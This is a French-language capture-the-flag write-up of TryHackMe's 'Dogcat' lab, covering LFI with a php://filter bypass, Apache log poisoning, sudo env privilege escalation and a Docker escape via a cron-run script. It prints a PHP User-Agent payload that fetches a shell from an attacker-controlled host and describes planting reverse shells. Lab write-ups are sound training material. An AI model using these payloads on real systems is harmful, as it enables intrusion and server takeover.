Tryhackme CTF Write-Up : Dogcat
Dans ce write-up, nous verrons comment compléter Dogcat de TryHackMe, Un challenge CTF de niveau intermédiaire qui requiert plusieurs techniques :LFI, log poisonning,Privesc ,s'échapper d'un conteneur
Last updated
Dans ce write-up, nous verrons comment compléter Dogcat de TryHackMe, Un challenge CTF de niveau intermédiaire qui requiert plusieurs techniques :LFI, log poisonning,Privesc ,s'échapper d'un conteneur
Last updated
Enumération
Commençons par un scan Nmap pour voir les ports ouverts puis un second sur ceux ouverts pour voir les services qui tournent dessus ainsi que le script par défaut de nmap sur ces ports
Dans ce scan nous trouvons que deux ports sont ouverts :
22 : Un service ssh OpenSSH 7.6p1
80 : Un serveur Apache httpd 2.4.38
Nous nous rendons d'abord sur l'application web
A première vue, un site normal, on peut cliquer sur A dog pour voir un chien et A cat pour voir un chat,
nous pouvons voir dans l'url ?view=dog
Nous pouvons nous douter de l'utilisation de php, essayons de nous déplacer dans les dossiers
Nous arrivons sur un filtre, essayons de le bypass avec php://filter/convert.base64-encode/resource=
Nous obtenons le code de index.php encodé en base64
Sur cyberchef, après décodage
nous voyons que la chaine de caractère doit contenir soit dog soit cat, et inclure la variable ext,
Nous savons que nous avons un serveur Apache, essayons de récupérer l'access.log pour en apprendre plus
Notre but ici est d'injecter notre reverse shell dans le fichier access.log,
lançons burp suite pour voir les requêtes effectuées
Après interception de la requête nous allons modifier le User-Agent pour y mettre notre reverse-shell sur le serveur,
<?php file_put_contents('shell.php',file_get_contents('http://<IP Attaquant><port>/shell.php'))?>
Configurons le serveur python avec le bon port pour envoyer le shell ainsi que le listener netcat
Envoyons maintenant la requête et actualisons la page de l'access.log
Le shell a bien été demandé et mis sur le serveur apache,
Rendons nous sur la page de notre shell et voilà l'accès initial en tant que www-data
Nous pouvons récupérer le flag 1 et 2
Elevation de privilèges :
Nous voyons en listant les permissions sudo que l'utilisateur pour utiliser le binaire env avec les permissions root
Nous obtenons très facilement les permissions root, et pouvons récupérer le 3ème flag
S'échapper du conteneur :
Particularité de cette machine nous sommes root et il reste un dernier flag à trouver
Nous voyons dans /opt un backup.sh qui à l'air de s'executer toutes les minutes, et un backup.tar
En regardant le contenu de backup.sh nous nous apercevons que nous sommes dans une conteneur docker
Remplaçons le contenu de ce backup.sh par notre reverse-shell et attendons une connexion,
Nous voilà "échapper" du conteneur et avons accéder à la machine initiale en tant que root, nous pouvons récupérer le dernier flag root :)
J'espère que vous aurez appris quelque chose et apprécié mon write-up
Un petit tour sur pour trouver ce que l'on peut exploiter avec ce binaire inhabituel en permission root
N'hésitez pas à faire la room sur tryhackme :
mon profil tryhackme :